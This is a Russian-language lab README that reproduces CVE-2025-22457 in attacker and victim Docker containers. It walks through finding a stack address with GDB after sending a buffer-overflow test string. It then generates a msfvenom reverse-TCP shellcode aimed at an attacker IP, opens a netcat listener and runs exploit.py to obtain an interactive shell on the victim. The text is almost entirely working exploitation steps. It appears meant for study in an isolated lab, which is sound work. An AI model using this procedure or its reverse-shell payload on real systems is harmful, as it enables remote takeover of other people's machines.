Практическая лаборатория по воспроизведению CVE-2025-22457: разворачивает Docker-контейнеры атакующего и жертвы, находит адреса стека с помощью GDB и доставляет эксплойт с обратной оболочкой msfvenom.
Если вы используете Windows, можно запустить через WSL
chmod +x setup_environment.sh
./setup_environment.sh
Поскольку адреса памяти и IP-адреса динамически меняются в разных окружениях, их нужно найти вручную и обновить скрипт exploit.py.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
Цель этого шага — найти стабильный адрес стека, чтобы наш payload мог точно выполнить переход.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Срабатывание точки останова: используя контейнер attacker, выполните следующую команду, чтобы отправить тестовый payload. Это остановит GDB на точке останова. Примечание: замените <VICTIM_IP> на Victim IP, показанный в шаге 1.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Найдите и запишите адрес: вернитесь в окно терминала, где работает GDB — программа должна уже остановиться. Выполните следующую команду для проверки стека:
(gdb) x/200wx $esp
В выводе найдите область, состоящую из 0x43434343 (представляющих 'C'). Выберите из середины этой области любой адрес (например, 0xffffd580) и скопируйте его. Это и есть stack_address.
С помощью текстового редактора обновите stack_address в exploit.py на только что скопированный адрес
В оболочке контейнера attacker выполните команду msfvenom для генерации shellcode. Примечание: замените <ATTACKER_IP> на Attacker IP, показанный в шаге 1.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Скопируйте весь блок buf = b""... из вывода msfvenom и полностью замените им существующую переменную buf в файле exploit.py.
nc -lvnp 4444
Можно использовать следующие два метода Метод первый
./vulnserver
Метод второй
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Проверка результата: переключитесь обратно в окно, где работает слушатель netcat. Если всё прошло успешно, вы увидите установленное соединение и получите интерактивную оболочку. Можно ввести команды whoami, ls -la и т.д. для проверки.
Введите quit в GDB, затем введите exit в оболочке контейнера.
docker stop vic atac
docker network rm 111550082_net